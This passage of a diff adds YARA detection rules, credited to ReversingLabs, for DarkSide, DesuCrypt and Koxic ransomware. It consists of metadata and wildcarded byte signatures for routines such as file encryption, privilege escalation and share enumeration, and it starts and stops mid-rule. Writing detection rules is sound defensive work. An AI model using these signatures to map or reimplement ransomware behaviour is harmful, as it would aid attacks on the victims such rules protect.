+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ??
+            51 55 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 64 24 ??
+            8B 54 24 ?? 3B 54 24 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 33 FF E8 ?? ?? ?? ?? 85 C0
+            0F 86 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B C1
+            2B C3 C1 F8 ?? 3B C7 0F 86 ?? ?? ?? ?? 3B D9 8B F3 76 ?? E8 ?? ?? ?? ?? 8B 1D ?? ??
+            ?? ?? 8B 0D ?? ?? ?? ?? 89 74 24 ?? 8D 34 BE 3B F1 B8 ?? ?? ?? ?? 8B E8 77 ?? 3B F3
+            73 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 3B 75 ?? 72 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ??
+            ?? 8B 44 24 ?? 39 06 74 ?? B8 ?? ?? ?? ?? 83 C7 ?? E8 ?? ?? ?? ?? 3B F8 72 ?? 8B 6C
+            24 ?? 8B 74 24 ?? FF 15 ?? ?? ?? ?? 3B F0 74 ?? 85 F6 74 ?? 56 6A ?? 6A ?? FF 15 ??
+            ?? ?? ?? 8B F0 85 F6 74 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? EB ?? 8B
+            6C 24 ?? 8D 4C 24 ?? 51 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B3 ?? 55 FF 15
+            ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 8A C3 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ??
+            ?? ?? C3
+        }
+		$app_whitelisting_2 = {
+            6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 56 A1 ?? ?? ?? ?? 33 C4 50 8D 44
+            24 ?? 64 A3 ?? ?? ?? ?? 8D 44 24 ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 70 ?? C7 44
+            24 ?? ?? ?? ?? ?? 56 C7 06 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? 8B 36 EB
+            ?? 33 F6 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7C 24 ?? ?? 72 ?? 8B 4C 24
+            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 64 89 0D
+            ?? ?? ?? ?? 59 5E 83 C4 ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $encrypt_files and $app_whitelisting_1 and $app_whitelisting_2
+}
+rule REVERSINGLABS_Win32_Ransomware_Darkside : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects DarkSide ransomware."
+		author = "ReversingLabs"
+		id = "061b00cb-9b70-521f-ab3f-7e6b3c129194"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.DarkSide.yara#L1-L94"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "128af9a1b143e4b0928dd2b243e69497be906175f44815cc5703f17cce48ec9d"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "DarkSide"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files_v1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 04 45 ?? ?? ??
+            ?? 50 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ??
+            ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 8D 85 ??
+            ?? ?? ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8D 9D ?? ??
+            ?? ?? 83 3B ?? 74 ?? 81 3B ?? ?? ?? ?? 74 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8D 85 ?? ??
+            ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 7D ??
+            ?? 74 ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5A 59 5B
+            8B E5 5D C2
+        }
+		$enumerate_drives = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 8B D8 85 DB 74 ?? C1 EB ?? 8D B5 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 F8
+            ?? 74 ?? 83 F8 ?? 75 ?? 56 E8 ?? ?? ?? ?? 8D 76 ?? 4B 85 DB 75 ?? 5F 5E 5A 59 5B 8B
+            E5 5D C3 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? C7
+            00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4
+            ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 A9 ?? ?? 74 ?? 6A ?? 8D 85 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 40 ?? 50 FF 15 ?? ?? ??
+            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15
+            ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2
+        }
+		$escalate_privileges = {
+            55 8B EC 83 C4 ?? 53 51 52 56 57 8D 45 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F
+            85 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75
+            ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 50
+            FF 75 ?? FF 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? AD 8B F8 83
+            7E ?? ?? 74 ?? C7 46 ?? ?? ?? ?? ?? 83 C6 ?? 4F 85 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 75
+            ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C3
+        }
+		$enumerate_netshare = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 6A ??
+            8D 45 ?? 50 6A ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? 83 7E ?? ?? 75 ?? 68 ??
+            ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 C7 03 ?? ?? ?? ?? C7 43 ??
+            ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 8D 47 ?? 50 53 FF 15 ?? ?? ??
+            ?? 83 C4 ?? 53 FF 15 ?? ?? ?? ?? FF 36 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ??
+            ?? 53 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C6 ?? FF 4D ?? 83 7D ?? ?? 75 ??
+            FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2
+        }
+		$find_files_v2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D BD
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ??
+            83 C4 ?? 66 83 7C 47 ?? ?? 74 ?? 66 C7 04 47 ?? ?? 83 C7 ?? C7 04 47 ?? ?? ?? ?? C7
+            44 47 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 A9 ?? ?? 74 ??
+            8D 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 83 C4
+            ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 C0 ?? 53 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 56
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($find_files_v1 and $enumerate_drives and $escalate_privileges) or ($find_files_v2 and $enumerate_netshare))
+}
+rule REVERSINGLABS_Win32_Ransomware_Desucrypt : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects DesuCrypt ransomware."
+		author = "ReversingLabs"
+		id = "b9b3ce2b-f184-5bfa-8e1c-a7b996ac708a"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.DesuCrypt.yara#L1-L93"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "bd3ba8ea0fc16aad859a73628d0eda180d49298162fe239acf81c7c4e371eaad"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "DesuCrypt"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
+            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ??
+            ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF
+            75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B
+            CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B
+            43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF
+            57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33
+            C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
+            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA
+            ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB
+            80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56
+            1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ??
+            83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ??
+            ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15
+            ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08
+            C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ??
+            80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0
+            8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
+        }
+		$encrypt_files = {
+            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
+            ?? ?? 53 56 57 8B D9 89 54 24 ?? B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? BE ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? 8D 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? F3 A5 6A ?? 6A ?? 8D
+            44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 66 A5 50 6A ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B
+            E5 5D C3 8D 44 24 ?? 50 8D 44 24 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? 8D 84 24 ??
+            ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ??
+            ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F
+            5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 8D 44 24 ?? 50 FF 74 24
+            ?? 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ??
+            ?? E9 ?? ?? ?? ?? 8B 43 ?? 8B 3D ?? ?? ?? ?? 50 89 44 24 ?? 89 44 24 ?? 8D 44 24 ??
+            50 6A ?? 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF D7 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 51 BA
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+            FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 FF 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4
+            ?? 83 7B ?? ?? 72 ?? 8B 1B FF 74 24 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? FF
+            74 24 ?? 50 56 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF D7 85 C0 0F 84 ?? ?? ?? ?? 8B 4C 24
+            ?? 8B 44 24 ?? 5F 89 01 8B C6 8B 8C 24 ?? ?? ?? ?? 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5
+            5D C3
+        }
+		$enum_shares = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
+            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 75 ?? 8B 45 ?? 8D 4D ?? 51 50
+            6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ??
+            ?? ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            0F 1F 40 ?? 33 DB 39 5D ?? 0F 8E ?? ?? ?? ?? 83 C7 ?? 66 90 F7 47 ?? ?? ?? ?? ?? 74
+            ?? 8D 47 ?? 89 45 ?? 8B 06 8B 48 ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8D 55 ?? 52 FF 50
+            ?? E9 ?? ?? ?? ?? 8B 17 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 8D 70 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C6 D1 F8 83 F8 ?? 77 ?? 8D 34 00
+            89 45 ?? 56 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 44 35 ?? EB ?? 52 C6
+            45 ?? ?? 8D 4D ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ??
+            50 8B 4E ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 43 83 C7 ??
+            3B 5D ?? 0F 8C ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 57 8D 45 ?? C7
+            45 ?? ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 FF 15 ??
+            ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D
+            ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files and $encrypt_files and $enum_shares)
+}
+rule REVERSINGLABS_Win32_Ransomware_Koxic : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Koxic ransomware."
+		author = "ReversingLabs"
+		id = "73c4afb0-cfa8-5bc5-bca3-49a7710f4ab9"
+		date = "2022-04-21"
+		modified = "2022-04-21"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Koxic.yara#L1-L87"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "739faf047b95fd538422a42943fcaad6538549bf4cf33ed91385c61365af4f09"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Koxic"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$enum_shares_p1 = {
+            8B 45 ?? 50 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 55 ?? 52 8B 45 ?? 50 8D 4D
+            ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B
+            55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? C1
+            E1 ?? 8B 55 ?? 8B 44 0A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B
+        }
+		$enum_shares_p2 = {
+            54 01 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ??
+            0F B6 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            51 FF 15 ?? ?? ?? ?? 83 E8 ?? 89 45 ?? EB ?? 8B 55 ?? 83 EA ?? 89 55 ?? 83 7D ?? ??
+            0F 8C ?? ?? ?? ?? 8B 45 ?? 0F B7 8C 45 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55
+            ?? 0F B7 84 55 ?? ?? ?? ?? 83 F8 ?? 75 ?? C6 45 ?? ?? EB ?? 8B 4D ?? 8D 94 4D ?? ??
+            ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C9 8B 55 ?? 66 89 8C 55 ?? ?? FF
+            FF 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85
+            ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 EA ?? 89
+            55 ?? E9 ?? ?? ?? ?? EB ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? 83 E2 ?? 74 ?? 8B
+            45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45
+            ?? C1 E0 ?? 03 45 ?? B9 ?? ?? ?? ?? 6B D1 ?? 89 44 15 ?? B8 ?? ?? ?? ?? C1 E0 ?? 8B
+            4D ?? 89 4C 05 ?? BA ?? ?? ?? ?? D1 E2 8B 45 ?? 89 44 15 ?? 8D 4D ?? 51 E8 ?? ?? ??
+            ?? 83 C4 ?? E9 ?? ?? ?? ?? EB ?? 81 7D ?? ?? ?? ?? ?? 74 ?? EB ?? 81 7D ?? ?? ?? ??
+            ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85
+            C0 75 ?? B8 ?? ?? ?? ?? EB ?? 33 C0
+        }
+		$find_files = {
+            8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 33 D2 8B 45 ?? 66 89 10
+            8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 C0 83 F8 ?? 75 ?? E9 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 44 02 ?? 3D ?? ?? ?? ??
+            72 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 8B
+            48 ?? 81 79 ?? ?? ?? ?? ?? 76 ?? 6A ?? FF 15 ?? ?? ?? ?? EB ?? 8B 95 ?? ?? ?? ?? 83
+            E2 ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8B 0D ?? ?? ?? ?? 51
+            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 0D
+            ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? C1 E2 ?? 8B 45 ?? 89 44 15 ?? 8D 4D
+            ?? 51 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85
+            C0 75 ?? 6A ?? A1
+        }
+		$encrypt_files = {
+            8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7F ?? 7C ?? 83 7D ?? ?? 73 ??
+            E9 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 4D ?? 2B C8 8B
+            45 ?? 1B C2 89 4D ?? 89 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 8B 45 ?? 50
+            FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 72 ??
+            81 7D ?? ?? ?? ?? ?? 73 ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 FF
+            15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ??
